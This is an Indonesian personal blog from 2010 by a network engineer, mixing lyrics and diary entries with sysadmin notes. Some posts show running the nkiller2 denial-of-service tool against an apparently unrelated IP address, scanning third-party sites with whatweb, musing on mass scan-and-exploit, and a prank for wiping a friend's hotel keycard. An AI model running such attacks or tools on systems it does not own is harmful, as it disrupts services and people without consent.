www.inetholic.com

Cari Jiwamu ....

2010-12-06T16:19:00.003+07:00

Kenapa kamu mencari jiwa ??? ...

Hampir saja domain ini expired sampai saya lupa dengan blog yang satu ini , maklum lagi mesra mesranya dengan si dia :)

Tekad sabar dan tawakal sering saya coba untuk memikirkannya , itulah jiwa dan ruh dimana saya berada ..

mungkin inilah digambarkan tentang ini semua

1. Kuda Terbang Putih : Tekad harus dikuatkan seperti kuda yang gagah dalam melangkah berlari menuju harapan.

2. Merpati putih : Sabar menunjukkan keindahan dan pola pikir manusia seperti merpati dalam berjalan memancarkan kesabaran dan kehati hatian dalam melangkah.

3. Anjing putih : inilah sebuah tawakal , karena pada dasarnya binatang yang satu ini menurut kepada empunya , siapa empu kita ??? , yaitu pemilih ruh dan jiwa ini.

Mungkin ketiga definisi itu digambarkan oleh saya dan itulah tentang kehidupan ini , bukankah Allah mendefiniskan dalam bentuk yang disampaikan ilham dan mimpi yang berguna untuk manusia ....

Wallahu Wa'allam Bissalam

penetrasi itu tegang :D

2010-09-20T11:18:00.001+07:00

Pagi Pagi ada temen pastein link http://blog.iweb.com/en/2010/09/64bits-linux-important-security-vulnerability-identified/5437.html , hmmm menarik , langsung coba remote beberapa server

[iqbal@server ~]$ ./diagnose-2010-3081
Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.
(see http://www.ksplice.com/uptrack/cve-2010-3081)

$$$ Kernel release: censored
$$$ Backdoor in LSM (1/3): checking...not present.
$$$ Backdoor in timer_list_fops (2/3): not available.
$$$ Backdoor in IDT (3/3): checking...not present.

Your system is free from the backdoors that would be left in memory
by the published exploit for CVE-2010-3081.

:) , selamat penetrasi deh

Terbang

2010-08-19T23:32:00.004+07:00

11.45 starting point alias point awal mulai ketik disini :P

Abis makan otak otak gak sadar ternyata abis sambil nyemil, puasa di bulan ini terasa begitu cepat mungkin di sela sela kesibukan sebagai system engineer + network engineer biasanya bekerja 24 jam, telepon juga harus on terus, rajin rajin ngecheck server, memang sudah amanah jika memegang semua system yang ada, kerja memang ibadah plus sekaligus hobi dan ketertarikan saya dengan linux dan cisco ( bahasa kerennya kotak item - shellbox ) , apalagi 2 situs ini terbilang besar, pekerjaan ini saya lakoni sejak tahun 2002 ketika itu masih sebagai admin warnet, Jam terbang mungkin memang sudah lama, tapi sepertinya masih ada kurangnya, ya ingin belajar terus dari pengalaman.

Hal pengalaman yang paling mengasikkan adalah ketegangan dan penyelesaian jika terdapat gangguan, dulu pernah menangani gangguan radius server adsl di jakarta barat dengan teman-teman, gangguan di beberapa server skala besar, semua berawal dari sini aku mempelajari.

Saya pernah mempelajari Hitamnya dunia maya, mungkin dengan kata *Tobat , karena bagi saya semua adalah untuk belajar. Pengalaman yang mengasikkan dan senang mempunyai teman teman yang hebat dalam bidangnya. Membangun komunitas bahkan sampai terlibat project yang tidak di danai oleh siapapun.

Disamping itu bekerja sebagai karyawan memang sebuah tugas yang harus dilaksanakan, tak terlepas dari unsur pengalaman dan kepercayaan dari beberapa orang sekeliling saya.

Terima kasih untuk setiap orang yang sudah mempercayai saya sebagai pemegang amanah ini.

Hakikat :

Kacang tidak pernah lupa akan kulitnya.
Jadilah seperti padi. Semakin berisi semakin menunduk.
Satu guru satu ilmu dilarang saling mengganggu.

Begajul

2010-08-15T08:44:00.003+07:00

Terlihat seperti bodoh, keyboard ini *mendem , tapi ya sudah lah karena lagi diwarnet , hari ini ingin menenangkan diri dan menyenangkan diri sendiri dulu , memang enak seperti bolang , menjelajahi sendirian , ingin rasanya keliling indonesia walau agak lebay sedikit , modal nya cuma GPS di nokia , next target surabaya mau ketemuan sekalian brainstorming. Edan nih warnet sepertinya ada keylogger , sucks undeepfreeze nya gak jalan. Bagusnya cuma buka blogspot.

*sendiri

Wither

2010-08-15T08:31:00.002+07:00

Let it out, let it out
Feel the empty Space
So insecure find the words and let it out

Staring down, staring down
Nothing comes to mind
Find the place turn the water into wine

But I feel I'm getting nowhere
And I'll never see the end

So I wither
And render myself helpless
I give in and everything is clear
I breakdown
And let the story guide me

Turn it on
Turn it on
Let the feelings flow
Close your eyes
See the ones you used to know

Open up open up
Don't struggle to relate
Lure it out
Help the memory escape
Still transparantness consumes me
And I feel like giving up

So I wither
And render myself helpless
I give in
And everything is clear
I breakdown
And let the story guide me

I wither
And give myself away

Light reflections on the page
The worlds want to create

I drown in hesitation
My words come crashing down
And all my best creations
Burning to the ground

The thought of starting over
Leaves me paralysed
Tear it out again
Another one that got away

I wither
And render myself helpless
I give in
And everything is clear

I wither
And render myself helpless
I give in
And everything is clear
I breakdown
And let the story guide me
I wither
And give myself away

Light reflections on the page
The worlds want to create
The worlds which you create

Let it out let it out

==========================================

Black without Wings , Like an Blue and Red Angel , Like An Right and Left angel beside me , How this secret for me , thats im choice to be Blue angel , i miss that moment when i greeting to blue , just wanna alone ....

Hari ini Puasa

2010-08-12T08:51:00.005+07:00

Puasa hari ke dua - membuat sempet drop kmaren di puasa pertama sepertinya kecapean karena malam sebelum itu asyik ngoprek 2 situs yang lumayan membooming di Indonesia , saya kerap sekali bandel* alias suka lupa sama waktu , eh besoknya tepar mungkin butuh istirahat , untungnya masuk kantor walau agak sedikit memaksa :) , hari kedua puasa ini pagi pagi sudah dikantor , semalem tidur puas banget 8 jam baru kali ini tidur cepet lantaran agak drop , paginya sahur sama orang tua , jam setengah 9 sampai kantor , benerin jaringan di bagian CS , oprek mikrotik sedikit , restart modem , 3 load balancer - cek jaringan seluruh kantor dan test ping di tiap tiap node , ternyata aman.

Huammmm , nguap terus mirip ikan koki puasa kali ini , kmaren hampir bablas mau minum air putih , hari ini aktifitas seperti biasa lagi.

Tidak terasa memang 4 tahun saya memiliki blog ini

Selamat menunaikan ibadah puasa

Hotel Keycard Hacking

2010-08-09T22:20:00.006+07:00

Apa yang membuat menarik tentang card ini , begini pengalamannya teman teman.

Pernah gak sih cek in ke hotel , kebetulan waktu itu sempet check in lantaran ada urusan di luar kota , setiap kita check in kan selalu saja diberikan kalau hotel ini menerapkan "Magnetic stripe card" semacam kartu kalau kita mau masuk ke kamar room , biasanya kita gesek terlebih dahulu seperti layaknya atm , letaknya di sekitar kunci dan gagang pintu. ukurannya juga standard , kira kira begini

* Lupa Capture cardnya saat itu

Hal yang menarik apa jadinya bila card ini didekatkan ke HP atau blackberry jawabnya adalah error.

Jangan Usil :) ---->

Pernah terpikir kalau kita dalam suasana rame rame sama temen-temen iseng nih pinjem cardnya lalu tanpa sepengetahuan dia kita dekatkan di ponsel atau BB , paling enak sih pagi saat breakfast hehehehe yang pasti gak bisa masuk lagi ke room nya , ujung ujungnya bolak balik ke resepsionis dan yang pasti akan membuat sibuk :P korban , tapi jangan coba coba ya , just share experience aja

We'LL

2010-08-04T13:30:00.002+07:00

We'll shine like stars in the summer night/We'll shine like stars in the winter light/One heart, one hope, one love .

this is howto install suricata

Open a root terminal, copy, paste, and press enter for each of the following lines:

sudo apt-get -y install libpcre3 libpcre3-dbg libpcre3-dev build-essential autoconf automake libtool libpcap-dev libnet1-dev libyaml-0-2 libyaml-dev zlib1g zlib1g-dev libcap-ng-dev libcap-ng0

sudo apt-get -y install libnetfilter-queue-dev libnetfilter-queue1 libnfnetlink-dev libnfnetlink0

wget http://people.redhat.com/sgrubb/libcap-ng/libcap-ng-0.6.4.tar.gz

tar -xzvf libcap-ng-0.6.4.tar.gz

cd libcap-ng-0.6.4

./configure && make && sudo make install

apt-get install libhtp1

apt-get install libhtp-dev

wget http://www.openinfosecfoundation.org/download/suricata-1.0.0.tar.gz

tar -xvzf suricata-1.0.0.tar.gz

cd suricata-1.0.0

./configure --enable-nfqueue

sudo mkdir /var/log/suricata/

make

make install

mkdir /etc/suricata

apt-get install checkinstall

checkinstall

dpkg -i suricata_1.0.0-1_i386.deb

cp classification.config suricata.yaml /etc/suricata/

mkdir /etc/suricata/rules

cd /etc/suricata/rules

wget http://www.emergingthreats.net/rules/emerging-attack_response.rules

wget http://www.emergingthreats.net/rules/emerging-scan.rules

wget http://www.emergingthreats.net/rules/emerging-exploit.rules

wget http://www.emergingthreats.net/rules/emerging-current_events.rules

wget http://www.emergingthreats.net/rules/emerging-voip.rules

wget http://www.emergingthreats.net/rules/emerging-malware.rules

wget http://www.emergingthreats.net/rules/emerging-dos.rules

wget http://www.emergingthreats.net/rules/emerging-drop.rules

wget http://www.emergingthreats.net/rules/emerging-compromised.rules

wget http://www.emergingthreats.net/rules/emerging-dshield.rules

wget http://www.emergingthreats.net/rules/emerging-botcc.rules

wget http://www.emergingthreats.net/rules/emerging-rbn.rules

wget http://www.emergingthreats.net/rules/emerging-virus.rules

cd /etc/suricata/

sudo vi suricata.yaml

suricata -D -c /etc/suricata/suricata.yaml -s /etc/suricata/classification.config -i wlan0

source : http://doc.emergingthreats.net/bin/view/Main/SuricataUbuntuSetup

Semua dimulai dari sini

2010-08-03T21:14:00.005+07:00

Tempat cucian motor ini begitu luas, tempat ini menjadi tempat favorit bagi kendaraan yang lalu lalang, karena letaknya yang cukup strategis dan jalan utama menuju pusat kota, setelah sekian lama menunggu seorang bapak sibuk menawarkan dagangannya, sibuk mendekati orang yang mencuci motor dan menawarkan cairan anti bocor untuk ban, akhirnya bapak itu mendekati saya dan menawarkan dagangannya.

Cairan anti bocor ini cukup menarik memang, saya telah mencobanya sekitar 1 tahun lalu, hingga ban saya pecah. Bapak itu bersalaman dengan saya sebagai tanda perkenalan. Dia bercerita tentang barang dagangannya dan asalnya dari solo hingga akhirnya pembicaraan itu aku ajak kedalam sebuah media "internet".

Bisnis di internet cukup menggiurkan hingga banyak orang-orang sukses yang terlahir dari sini, media jejaring social "facebook" , web gratis alias "blogspot" dan "wordpress" , aku jelaskan panjang lebar tentang metode penyampaian ini kepada bapak itu. Bagaimana pesatnya dunia internet ini menjamah orang orang awam, mungkin disinilah peran sebagai "technopreneur" memperkenalkan kepada mereka dan mengajak ke dalam dunia ini. Memang salah satu kekurangan adalah kurangnya edukasi dan skill individu dari tiap seseorang mengenai bisnis di internet, padahal bisa saja orang itu cukup kompeten produknya. Tanyalah orang disekitar anda cara membuat website, blogspot dan facebook dll, "jika malas" mungkin penyedia situs "Ecommerce" yang bisa dijadikan media promosi produk.

Sudah 1 jam berlalu, motor saya sudah bersih, cukup lama memang mencuci motor disini, karena inilah banyak orang yang ingin mencuci di tempat ini. Hingga salam perpisahan terucap dari saya dan bapak itu menanyakan nomor hp saya. Saya berikan kartu nama saya dimana tempat saya mencari "sepiring nasi" dan disitu tertera salah satu situs ECommerce di Indonesia.

Point :

"Semua dimulai dari sini"
"Jangan sungkan sungkan memberikan informasi kepada orang sekitar"
"Welcome to Internet Business Strategies"

Jakarta Timur

2010-08-02T14:48:00.002+07:00

Ia mimpiku, mimpi burukku
Ia egoku, rasa takutku
Ia

Bermain bersamaku permainkan hatiku
Ia ‘kan selalu menunggu permainkan hatiku
Bermain bersamaku permainkan hatiku
Ia ‘kan selalu menunggu dalam tragis akhirku

Kugenggam hatiku hanya satu
Satu dan dalam genggamanku
Kuberikan padamu, seutuhnya untukmu
Kuambil serpihannya, kedua kalinya kurasakan akhir
Kau bentangkan indah sayapmu
Menutup tirai kisah usai sudah
Aku takkan terbangun pagi nanti
Tak ingin tertidur malam ini
Menyaksikan matahari bersinar
Di tempat yang mereka,
Mereka sebut timur...........

===================================

This place - east jakarta , tempat aku dibesarkan , tempat ini selalu menjadi inspirasi ku , dimana aku menghadapinya dengan penuh ke ego an :)

Tentang Findtoyou.com

2010-07-28T23:21:00.003+07:00

Sudah setahun berdiri akhirnya ada juga yang mereview situs ini , suka duka memulai semua dari awal membawa situs ini mengalami perubahan , memberikan terbaik untuk semua pengunjung dan semoga tidak sia-sia , bermanfaat untuk khalayak umum

Findtoyou.com adalah mesin pencarian yang berguna penggunanya agar lebih mudah , lebih spesifik dan lebih praktis.
Sebagai mesin pencari untuk Mesin Pencari untuk Music, Video, Images, Software, Ebook,
Document, Powerpoint, Excel, File Sharing, Torrent dan Social Networking.
Keunikan dari Search Engine Findtoyou adalah dapat mengklasifikasikan pencarian, sehingga
user dapat mudah memilih jenis File yang ingin dicari berbeda dengan search engine sejenisnya yang hanya mampu mencari 1 atau 2 file.

Sejarah :
Awal mulanya berdiri pada bulan 9 juli 2009 dan berbasiskan di Surabaya dan Jakarta

pendiri : Dian Arif Sutejo - founder
Teuku Iqbal Maulana - co-founder - CIT
setiadi - co-founder - CEO

Walau baru seumur jagung meramaikan situs pencarian, trafik untuk indonesia sudah berhasil menembus peringkat ke 617 untuk daftar
pencarian situs di indonesia, data tersebut berdasarkan dari http://www.alexa.com/siteinfo/www.findtoyou.com

Umumnya pengguna findtoyou adalah kalangan pelajar dan perkantoran dengan memudahkan pengguna internet apa yang dibutuhkan,
Findtoyou menggunakan link ke beberapa pencarian beberapa situs di dunia , sehingga dijadikan satu halaman website ,
saat ini total pengunjung mencapai 23000 perhari ,menggandeng jejaring facebook sebagai media apresiasi penggunanya,
semua dibangun atas opensource karena akan lebih mudah membangun dan mengembangkannya.

Findtoyou berusaha menjadi profesional dalam bidang pencarian, beberapa perubahan yang sudah dilakukan :
1. Logo & Design mengalami perubahan
2. Perpindahan server ke t4 yang lebih stabil, aman & terpercaya
3. upgrade Server terus menerus untuk kenyamanan Member Findtoyou
4. Pembuatan untuk Support Mobile Version / Hp, berupa file .JAR...
5. Audit System berkala setiap bulan untuk memastikan sistem Findtoyou aman
6. Feedback dari Member Untuk koreksi Findtoyou

Disini kami curahkan segenap kreatifitas untuk memajukan karya anak bangsa semoga akan berguna untuk masa yang akan datang bagi kami, anda, dan dunia !!!

salam,
F.T.Y

kami berterima-kasih kepada semua pengguna internet yang telah memanfaatkan situs
ini sebagai tempat mencari segala hal , semoga bermanfaat ...

Nkiller2

2010-07-27T18:52:00.004+07:00

Onerepublic - Secrets

I need another story
Something to get off my chest
My life gets kinda boring
Need something that I can confess
Til' all my sleeves are stained red
From all the truth that I've said
Come by it honestly I swear
Thought you saw wink, no
I've been on the brink, so

Tell me what you want to hear
Something that were like those years
Sick of all the insincere
So I'm gonna give all my secrets away
This time, don't need another perfect line
Don't care if critics never jump in line
I'm gonna give all my secrets away

My god, amazing how we got this far
It's like we're chasing all those stars
Who's driving shiny big black cars
And everyday I see the news
All the problems that we could solve
And when a situation rises
Just write it into an album
Singing straight, too cold
I don't really like my flow, no, so

Lagu ini The Sorcerer’s Apprentic soundtrack nya

sambil nyalain blackbox , malam ini iseng browsing ke situs http://www.phrack.com/issues.html?issue=66&id=9 , menarik mengenai penjelasan nkiller2 dari ithilgore , coba iseng mencoba seberapa pengaruh ke server dan install beberapa pendukung file nya

iqbal@fty:~$ sudo apt-get install sudo apt-get install libpcap0.8-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Couldn't find package apt-get
iqbal@fty:~$ sudo apt-get install libpcap0.8-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
jsvc libcommons-pool-java libecj-java libecj-java-gcj libcommons-collections-j
libcommons-daemon-java
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
libpcap0.8-dev
0 upgraded, 1 newly installed, 0 to remove and 44 not upgraded.
Need to get 230kB of archives.
After this operation, 811kB of additional disk space will be used.
Get:1 http://dl2.foss-id.web.id jaunty/main libpcap0.8-dev 1.0.0-1 [230kB]
Fetched 230kB in 1s (178kB/s)
Selecting previously deselected package libpcap0.8-dev.
(Reading database ... 81713 files and directories currently installed.)
Unpacking libpcap0.8-dev (from .../libpcap0.8-dev_1.0.0-1_amd64.deb) ...
Processing triggers for man-db ...
Setting up libpcap0.8-dev (1.0.0-1) ...
iqbal@fty:~$ gcc nkiller2.c -o nkiller2 -lpcap -lssl -Wall -O2
iqbal@fty:~$ ls
gnump3d-3.0.tar.gz iscanner-0.5 iscanner-0.5.tar.gz nkiller2 nkiller2.c nki
iqbal@fty:~$ ./nkiller2
nkiller2 [-t addr] [-p ports] [-k key] [-n total probes]
[-N probes/rnd] [-c msec] [-l payload] [-w path]
[-s sleep] [-d level] [-r vhost] [-T template]
[-P probe-interval] [-hvyg]
Please use `-h' for detailed help.

iqbal@fty:~$ nkiller2 -t -p80 -w -n0 -T0 -P100 -s0 -v -N100
-bash: target: No such file or directory

iqbal@fty:~$ sudo -s
root@fty:~# ls
gnump3d-3.0.tar.gz iscanner-0.5 iscanner-0.5.tar.gz nkiller2 nkiller2.c nki

root@fty:~# ./nkiller2 -t 118.97.67.84 -p80 -p80 -w /file -v -n1 -T1 -P120 -s0 -g

Starting Nkiller 2.0 ( http://sock-raw.org )
Probes: 1
Probes per round: 100
Pcap polling time: 100 microseconds
Sleep time: 0 microseconds
Key: Nkiller31337
Probe interval: 120 seconds
Template: BSD | Windows
Guardmode on
^C
root@fty:~# nslookup www.findtoyou.com
Server: 8.8.8.8
Address: 8.8.8.8#53

Non-authoritative answer:
Name: www.findtoyou.com
Address: 204.74.212.238

root@fty:~# ./nkiller2 -t 204.74.212.238 -p80 -p80 -w /file -v -n1 -T1 -P120 -s0 -g

Starting Nkiller 2.0 ( http://sock-raw.org )
Probes: 1
Probes per round: 100
Pcap polling time: 100 microseconds
Sleep time: 0 microseconds
Key: Nkiller31337
Probe interval: 120 seconds
Template: BSD | Windows
Guardmode on

next lanjutkan lagi deh ... sudah malam waktunya pulang , "All my secrets away"

lemahnya keamanan situs *.go.id

2010-07-14T10:15:00.004+07:00

Pagi ini berangkat ke kantor, motor ini kupacu dengan kecepatan yang sedikit berkurang dari biasanya, sambil melihat gedung-gedung tinggi yang bertingkat, pertanyaan ini melintas dikepalaku ??, seperti apakah IT disana, amankah, cepatkah ??? ....

Semalaman suntuk memonitoring sebuah infrastruktur, akibat gangguan down, membuat mata ini cepat lelah, ribuan situs *.go.id biasanya menjadi target dari penyampaian sebuah aspirasi, mungkin inilah attitude dari seorang hacker dalam menyusupi, sering kali seroang etika hacker mengirim email ke admin pemerintahan, tetapi terkadang tidak membalas maupun menutup hole , mungkin penyebabnya adalah :

1. Minimnya dana infrastruktur
2. SDM itu sendiri

iah malah minta bantuin suruh tutup tuh holena, bisa aja tapi ya itu, minimal dananya keluar :)
==============
from xxxx@xxxx.go.id
to hacker@hacker.xxx
date Wed, Jul 14, 2010 at 7:28 AM
subject Re: Ur site called sql injection !!!
Iya Pak,
benar memang ada bug disitu, tapi website ini memang kekurangan dana dan
SDM. maklum saja untuk versi korannya masih dibagi2 gratis jadi securitynya
website ala kadarnya. menurut bapak bagaimana caranya untuk menambal celah
tersebut?

terima kasih sebelumnya
Admin
================
xxxx@xxxx.go.id
to hacker@hacker.xxx
date Wed, Jul 14, 2010 at 8:36 AM
subject Re: Ur site called sql injection !!!
maaf pak, saya mau tanya agi, kok bisa tahu kalau ada celahnya di URL tsb?
soalnya udah saya coba gakeluar pesan error

maklum masih amatiran :)

thanks sebelumnya

beberapa pesan yang disampaikan teman saya di fb nya .... , ribuan site *.go.id pun tak luput , daripada "malu" lebih baik sediakan 2 permintaan diatas :)

Regards

kemana lagi aku mencari
bisakah kamu memberi tahu padaku ??
sedang cinta itu sudah menghadap aku.
mengakhiri semuanya ...
kenapa aku tidak bisa diberi kesempatan untuk mencurahkan isi hatiku sepenuh hatiku
sekali lagi kulakukan untuk kebahagiaan dunia dan akhirat.

1:33

2010-07-14T01:22:00.002+07:00

Telepon + SMS bertebaran di Handphone N82 ini , backbone down sepertinya masalah link di router gateway , selesai pukul 1 malam , jadi gak bisa tidur deh , blog ini sepertinya perlu sedikit angin segar sudah lama banget gak kesentuh , cuma sendirian di kamar , pake pc quadcore mumpuni banget buat server , jadi inget www.inetholic.com expirednya kapan ya ???
, paste kesini deh ....

Domain Name: INETHOLIC.COM
Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM
Whois Server: whois.PublicDomainRegistry.com
Referral URL: http://www.PublicDomainRegistry.com
Name Server: DNS1.MASTERWEBNET.COM
Name Server: DNS2.MASTERWEB.NET
Name Server: DNS3.MASTERWEB.NET
Name Server: DNS4.MASTERWEB.NET
Status: ok
Updated Date: 10-jan-2010
Creation Date: 11-nov-2009
Expiration Date: 11-nov-2010

masih lama 11 november , oktober lalu november

lagi lagi mata tertuju pada situs packetstormsecurity , nih situs gak mati dimakan jaman gak kaya milw0rm yang sudah pensi, intip web server ala kadarnya dari whatweb

authornya nulis gini

Andrew Horton

Description:
WhatWeb is a next generation web scanner that identifies what websites are running. Flexible plugin architecture with over 80 plugins so far. Passive plugins use information in the headers, cookies, HTML body and URL. Aggressive plugins can identify versions of Joomla, phpBB, etc by making extra requests to the webserver. Screenshots on the homepage.

http://www.packetstormsecurity.com/UNIX/scanners/whatweb-0.4.4.tar.gz

inetholic whatweb-0.4.4 # ./whatweb www.findtoyou.com
http://www.findtoyou.com [200] X-Powered-By[PHP/5.2.10], Title[Search and Find], Google-Analytics[urchin][10168477], HTTPServer[nginx/0.7.63], Header-Hash[f392ad253765a97748805c489ac3ee36], MD5[7f0c44c3ee2290966761e4ef83425484], Footer-Hash[8b81b0097e1ba62d4325abee23bd0584], Div-Span-Structure[ce219d4624e8a49ff3d26372f3d06989]

inetholic whatweb-0.4.4 # ./whatweb www.plasa.com
http://www.plasa.com [200] Cookies[BIGipServerPool_FrontEnd_HTTP,PHPSESSID], UncommonHeaders[x-pvinfo], Title[plasa.com - Index], Google-Analytics[GA][12090527], HTTPServer[Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g mod_wsgi/2.3 Python/2.6.2], X-Powered-By[PHP/5.2.6-3ubuntu4.5], MD5[bb592aee03bfed37cdef1fa503a062a4], Footer-Hash[3935ca16318e5519d5cf3019f194df02], Div-Span-Structure[4a3d7c16fca885e74cc7ff3eff596456], Header-Hash[2da29806e3a12d3f7a2459c5dd5eb484]

coba deh tuh , ini menarik untuk di kembangin , mungkin ide yang agak liar dan sedikit ekstrim : Penggabungan mass scanner , whatweb dan exploit , bisa membuat seantero jagad maya ini terguncang :D , ujung-ujungnya sysadmin yang bergerak untuk mempatching sebelum semua itu terjadi , mata mulai agak ngantuk , 1:49 , akhir nya ngantuk itu sebuah anugrah yang tidak ternilai ........

Regards

3v4

2010-06-18T11:23:00.002+07:00

Thank you for the inspiration

Thank you for the smiles

All the unconditional love

That carried me for miles

It carried me for miles

But most of all thank you for my life

These were the best of times

I'll miss these days

- 3v4 -

Findtoyou Project

2010-05-14T09:30:00.004+07:00

As new fast search engine , have goal to increase a traffic , 19000 visitor every day make me think how to tuning webserver and the solution is nginx as webserver.

www.findtoyou.com is the simple and faster search engine , Search Engine For Music, Video, Images, Software, Ebook, Document, Powerpoint, Excel, Rapidshare, Megaupload, Torrent and Social Networking.

this project run 8 months ago and now we have about 5700 users in social facebook , our mission is help people around the world to find faster what they need with simple method . next roadmap we build for mobile version. our demo is running well but need fix in mobile resolution.

Writer :
CIT : T.Iqbal Maulana ST, CCNA - www.findtoyou.com

Just write what i see

2010-04-16T19:11:00.002+07:00

hmm so bored today , so lonely day , without my love beside me ... just write ...

Burn my brain today , but i want format my brain :D , wanna weekend and no one disturb me , just sleep in my room and monitoring all i ve and that is black box
black box usually became friend for me , with dream theater music and simbadda speaker.

what ive done ....

1. Remote Black Box
2. Music
3. Call by phone
4. Tunneling
5. See Traffic
6. Analysis IPS
7. apt-get and yum
8. Warcraft
9. Drink a Milk
10. Pidgin
11. Facebook
12. TroubleShooting

Public DNS Servers

2010-03-08T16:23:00.001+07:00

Google

8.8.8.8
8.8.4.4
Level 3 Communications (Broomfield, CO, US)

4.2.2.1
4.2.2.2
4.2.2.3
4.2.2.4
4.2.2.5
4.2.2.6
Verizon (Reston, VA, US)

151.197.0.38
151.197.0.39
151.202.0.84
151.202.0.85
151.202.0.85
151.203.0.84
151.203.0.85
199.45.32.37
199.45.32.38
199.45.32.40
199.45.32.43
GTE (Irving, TX, US)

192.76.85.133
206.124.64.1
One Connect IP (Albuquerque, NM, US)

67.138.54.100
OpenDNS (San Francisco, CA, US)

208.67.222.222
208.67.220.220
Exetel (Sydney, AU)

220.233.167.31
VRx Network Services (New York, NY, US)

199.166.31.3
SpeakEasy (Seattle, WA, US)

66.93.87.2
216.231.41.2
216.254.95.2
64.81.45.2
64.81.111.2
64.81.127.2
64.81.79.2
64.81.159.2
66.92.64.2
66.92.224.2
66.92.159.2
64.81.79.2
64.81.159.2
64.81.127.2
64.81.45.2
216.27.175.2
66.92.159.2
66.93.87.2
Sprintlink (Overland Park, KS, US)

199.2.252.10
204.97.212.10
204.117.214.10
Cisco (San Jose, CA, US)

64.102.255.44
128.107.241.185

Wither

2010-02-05T11:42:00.001+07:00

IPS + blade + storage

2010-02-02T13:42:00.003+07:00

getting high with this , we put and learn in data centre , see the storage in cold room , hmm more fun with it , when i see the rules in white board , first : you cant borrow anythink , but im stubborn to borrow my nokia n-82 , break the rules .. LOL

Ive got some picture our ips + blade + storage when running and up in there ... , 5 hours... freeze you know ??? , because im thin :) not like my friend and he like giant tower :p

right now i'm still learn about it ... learn and learn , but sometimes is lazy and so bored ....

Simple Config in cisco

2010-02-02T13:29:00.002+07:00

Intermezo

My body not delicious today , im not going to work today , fiuh .... , this blog never close and im write for all to learn about this world , miss my SO community , never and ever close to my heart to join and know each other all of you , wanna back in the glory to be the one ... together ...

Cisco IOS Software, 2800 Software (C2800NM-SPSERVICESK9-M), Version 12.4(22)YB2, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2009 by Cisco Systems, Inc.
Compiled Tue 26-May-09 20:24 by prod_rel_team

ROM: System Bootstrap, Version 12.4(13r)T, RELEASE SOFTWARE (fc1)

Router#show running-config
Building configuration...

Current configuration : 992 bytes
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname Router
!
boot-start-marker
boot-end-marker
!
logging message-counter syslog
enable password putussambung
!
no aaa new-model
!
dot11 syslog
ip source-route
!
!
ip cef
!
!
no ipv6 cef
multilink bundle-name authenticated
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
voice-card 0
!
!
!
!
!
archive
log config
hidekeys
!
!
!
!
!
!
interface FastEthernet0/0
ip address 192.168.1.7 255.255.255.0
duplex auto
speed auto
!
interface FastEthernet0/1
ip address 192.168.2.2 255.255.255.0
duplex auto
speed auto
!
ip forward-protocol nd
ip route 0.0.0.0 0.0.0.0 192.168.2.1
no ip http server
no ip http secure-server
!
!
!
!
!
!
!
control-plane
!
!
!
ccm-manager fax protocol cisco
!
mgcp fax t38 ecm
!
!
!
!
!
line con 0
password putussambung
login
line aux 0
line vty 0 4
password putussambung
login
line vty 5 15
password putussambung
login
!
scheduler allocate 20000 1000
end

Router#

Cleaning up your Logs

2010-02-01T15:42:00.001+07:00

1. Introduction

Maintaining your logs is essential to keep your hard drive partitions healthy and to avoid potential problems that occur when partitions become 0 full. There is nothing worse then your /var partition filling up completely because you didn’t keep an eye on your logs. When a partition fills up, all kinds of weird things can happen which is why we strongly recommend you keep an eye on them as part of your daily routine.

We will go over the different logs, what they are used for, and how you can maintain them.
2. Maintaining Your Logs

There are several logs that you should monitor on a daily basis and they are as follows:

- /usr/local/apache/logs/error_log & /usr/local/apache/logs/access_log

- /usr/local/apache/domlogs/

- /var/log/

- /var/spool/exim/input/ & /var/spool/exim/msglog/

These are the most common logs likely to cause dedicated server owners a headache. We will go over each one and how to keep them in order.
2.1 Error_log & Access_log

This is the most common log to fill up your /usr partition. If some morning you log into WHM and notice a flashing red light for the /usr partition and it’s reading at over �, the first thing you should do is log into your server via SSH and go to that directory:

cd /usr/local/apache/logs/

ls –l

This will list the contents of the directory along with the size of each file. You will most likely notice your error_log is quite large. If so, delete this log, restart apache and then check your disk usage again using the command:

df

This command will show you all your partitions and the disk spaced used/available for each. You should notice the /usr partition has more disk space available now.
2.2 Domlogs

Domlogs is a directory located at /usr/local/apache/domlogs which contains 2 logs for each domain located on your server. The logs are named using the following format:

domain.com

domain.com-bytes_log

The first log contains all your hits, which is used to calculate the daily Webalizer and Analog stats in cpanel. The second log contains ever byte transferred from the account domain.com, and is used to calculate the HTTP bandwidth on a monthly basis.

While we do not recommend you delete these logs too often since your stats and bandwidth stats may get slightly skewed, sometimes it is necessary to remove them in order to free up space on your /usr partition. To delete these logs use the command:

rm –f /usr/local/apache/domlogs/*

Then restart apache using:

/etc/rc.d/init.d/httpd stop

/etc/rc.d/init.d/httpd start

These logs will be recreated from scratch by Apache.
2.3 /var/log

This directory contains important logs such as exim_mainlog, messages, and chkservd.log. While these logs are rotated regularly, archived logs are not deleted. You can safely delete any log that has a .1, .2, .3, or .4 extension, as these are the ‘old’ archived logs. You can remove these archived logs very easily using the command:

rm –f /var/log/*.1

rm –f /var/log/*.2

rm –f /var/log/*.3

rm –f /var/log/*.4

This will delete any file in that directory which is an archived log and free up disk space on your /var partition.
2.4 /var/spool/exim/input/ & /var/spool/exim/msglog/

These files are generated by Exim (the mail server) from bounced emails, or emails waiting to be delivered and are in the message queue. If you notice your /var partition filling up and you have removed your archived logs from section 2.3, then you most likely have a lot of entries in these directories. You should verify the size of this directory to see if it is a problem:

du -h /var/spool/exim/input

du -h /var/spool/exim/msglog

If any of these directories is very large chances are they are the culprit. Remove the contents using:

rm –rf /var/spool/exim/input/*

rm –rf /var/spool/exim/msglog/*

You might not notice an immediate difference in ‘disk space used’ after deleting these logs, but after a few minutes your partition information should be updated which you can view using the command:

df
3 Rearranging/Moving Your Logs

